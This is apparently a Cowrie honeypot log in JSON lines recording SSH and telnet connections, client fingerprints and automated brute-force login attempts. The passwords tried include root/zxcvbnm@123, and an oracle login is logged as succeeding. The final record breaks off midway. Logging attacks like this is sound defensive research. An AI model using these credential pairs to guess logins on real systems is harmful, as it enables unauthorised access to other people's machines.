{"eventid":"cowrie.session.closed","duration":31.224619150161743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:35.259990Z","src_ip":"147.124.211.111","session":"b1bf680676f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:35.878866Z","src_ip":"103.86.180.10","session":"64291c45fb9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":42548,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a64b23dfc8","protocol":"telnet","message":"New connection: 147.124.211.111:42548 (159.203.135.109:23) [session: b4a64b23dfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:35.958720Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":45276,"dst_ip":"159.203.135.109","dst_port":22,"session":"09e78b999fad","protocol":"ssh","message":"New connection: 103.86.180.10:45276 (159.203.135.109:22) [session: 09e78b999fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:36.066179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:36.071029Z","src_ip":"103.86.180.10","session":"09e78b999fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:36.266234Z","src_ip":"103.86.180.10","session":"09e78b999fad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:37.078655Z","src_ip":"103.86.180.10","session":"09e78b999fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":53114,"dst_ip":"159.203.135.109","dst_port":22,"session":"95155e3e3835","protocol":"ssh","message":"New connection: 102.211.152.138:53114 (159.203.135.109:22) [session: 95155e3e3835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:37.135762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:37.140565Z","src_ip":"102.211.152.138","session":"95155e3e3835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:37.244403Z","src_ip":"102.211.152.138","session":"95155e3e3835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:37.276592Z","src_ip":"103.86.180.10","session":"09e78b999fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:37.282356Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.55325412750244,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:37.385877Z","src_ip":"137.184.155.248","session":"467b4372c9f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rustserver","password":"rustserver","message":"login attempt [rustserver/rustserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:37.688486Z","src_ip":"102.211.152.138","session":"95155e3e3835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:38.793805Z","src_ip":"102.211.152.138","session":"95155e3e3835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.817431211471558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:38.979763Z","src_ip":"147.124.211.111","session":"f57cac2adbcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":60438,"dst_ip":"159.203.135.109","dst_port":22,"session":"856c5da5c61e","protocol":"ssh","message":"New connection: 72.253.251.7:60438 (159.203.135.109:22) [session: 856c5da5c61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:39.749907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:39.754772Z","src_ip":"72.253.251.7","session":"856c5da5c61e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:39.871659Z","src_ip":"72.253.251.7","session":"856c5da5c61e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm@123","message":"login attempt [root/zxcvbnm@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:40.369801Z","src_ip":"72.253.251.7","session":"856c5da5c61e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36308455467224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:41.446214Z","src_ip":"147.124.211.111","session":"1fa939428789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:41.489479Z","src_ip":"72.253.251.7","session":"856c5da5c61e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54456,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee47af95a94d","protocol":"telnet","message":"New connection: 147.124.211.111:54456 (159.203.135.109:23) [session: ee47af95a94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:43.143630Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54472,"dst_ip":"159.203.135.109","dst_port":23,"session":"f27c95bf35ed","protocol":"telnet","message":"New connection: 147.124.211.111:54472 (159.203.135.109:23) [session: f27c95bf35ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:43.734655Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54486,"dst_ip":"159.203.135.109","dst_port":23,"session":"35759e8c161b","protocol":"telnet","message":"New connection: 147.124.211.111:54486 (159.203.135.109:23) [session: 35759e8c161b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:45.391813Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54488,"dst_ip":"159.203.135.109","dst_port":23,"session":"677920d12b90","protocol":"telnet","message":"New connection: 147.124.211.111:54488 (159.203.135.109:23) [session: 677920d12b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:45.742801Z"}
{"eventid":"cowrie.session.closed","duration":30.300687789916992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:47.118926Z","src_ip":"147.124.211.111","session":"6873e6b6a419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50529718399048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:47.157128Z","src_ip":"147.124.211.111","session":"e172174aa350","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.436131238937378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:51.574630Z","src_ip":"147.124.211.111","session":"414ca985b96f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.621342182159424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:51.991842Z","src_ip":"147.124.211.111","session":"bb9a426bf4ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.367289543151855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:52.056707Z","src_ip":"147.124.211.111","session":"48af6eb5b31b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950938940048218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:52.309126Z","src_ip":"147.124.211.111","session":"aec59c9c401f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.395362615585327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:53.568724Z","src_ip":"147.124.211.111","session":"c560e5dd7c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52267050743103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:53.787163Z","src_ip":"147.124.211.111","session":"459d2113eb4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47009253501892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:54.511322Z","src_ip":"147.124.211.111","session":"285204577877","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.361343145370483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:55.133930Z","src_ip":"147.124.211.111","session":"b81b83171e9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311962127685547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:59.001323Z","src_ip":"147.124.211.111","session":"64935054abe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":52400,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ca9ef6b7bba","protocol":"telnet","message":"New connection: 147.124.211.111:52400 (159.203.135.109:23) [session: 0ca9ef6b7bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:59.015471Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":52412,"dst_ip":"159.203.135.109","dst_port":23,"session":"69495c69fb15","protocol":"telnet","message":"New connection: 147.124.211.111:52412 (159.203.135.109:23) [session: 69495c69fb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:59.385178Z"}
{"eventid":"cowrie.session.closed","duration":31.07780909538269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:59.598371Z","src_ip":"147.124.211.111","session":"6546a840ab37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":37654,"dst_ip":"10.17.0.5","dst_port":22,"session":"63051d3ba78b","protocol":"ssh","message":"New connection: 186.4.240.226:37654 (10.17.0.5:22) [session: 63051d3ba78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:00.237761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:00.242772Z","src_ip":"186.4.240.226","session":"63051d3ba78b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:00.327159Z","src_ip":"186.4.240.226","session":"63051d3ba78b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"qwerty","message":"login attempt [developer/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:00.697094Z","src_ip":"186.4.240.226","session":"63051d3ba78b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.04474925994873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:00.945705Z","src_ip":"147.124.211.111","session":"d341aae6a7c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:01.787172Z","src_ip":"186.4.240.226","session":"63051d3ba78b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39072,"dst_ip":"159.203.135.109","dst_port":23,"session":"c29129c85d0f","protocol":"telnet","message":"New connection: 147.124.211.111:39072 (159.203.135.109:23) [session: c29129c85d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:01.935952Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39074,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c795e81885f","protocol":"telnet","message":"New connection: 147.124.211.111:39074 (159.203.135.109:23) [session: 5c795e81885f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:02.619723Z"}
{"eventid":"cowrie.session.closed","duration":31.12982201576233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:04.555497Z","src_ip":"147.124.211.111","session":"11a9b2080a64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00142645835876,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:05.717676Z","src_ip":"182.253.54.171","session":"75867f4deb38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44054,"dst_ip":"159.203.135.109","dst_port":23,"session":"54bcc22c8c9f","protocol":"telnet","message":"New connection: 185.26.126.47:44054 (159.203.135.109:23) [session: 54bcc22c8c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:06.090469Z"}
{"eventid":"cowrie.session.closed","duration":30.152777194976807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:06.111365Z","src_ip":"147.124.211.111","session":"b4a64b23dfc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19849729537964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:06.292065Z","src_ip":"147.124.211.111","session":"efe3f512e893","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":7275,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc8180f4474","protocol":"telnet","message":"New connection: 182.253.54.171:7275 (10.17.0.5:23) [session: 5bc8180f4474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:07.225420Z"}
{"eventid":"cowrie.session.closed","duration":120.00173950195312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:08.330368Z","src_ip":"182.253.54.171","session":"4e6cb50b72d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39082,"dst_ip":"159.203.135.109","dst_port":23,"session":"61d4562568e8","protocol":"telnet","message":"New connection: 147.124.211.111:39082 (159.203.135.109:23) [session: 61d4562568e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:08.955629Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39094,"dst_ip":"159.203.135.109","dst_port":23,"session":"134644a387f2","protocol":"telnet","message":"New connection: 147.124.211.111:39094 (159.203.135.109:23) [session: 134644a387f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:09.202782Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":57912,"dst_ip":"10.17.0.5","dst_port":22,"session":"181821420a00","protocol":"ssh","message":"New connection: 161.97.66.49:57912 (10.17.0.5:22) [session: 181821420a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:11.961667Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:11.966291Z","src_ip":"161.97.66.49","session":"181821420a00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":57926,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e4834583fb7","protocol":"ssh","message":"New connection: 161.97.66.49:57926 (10.17.0.5:22) [session: 6e4834583fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:12.050073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:12.055001Z","src_ip":"161.97.66.49","session":"6e4834583fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-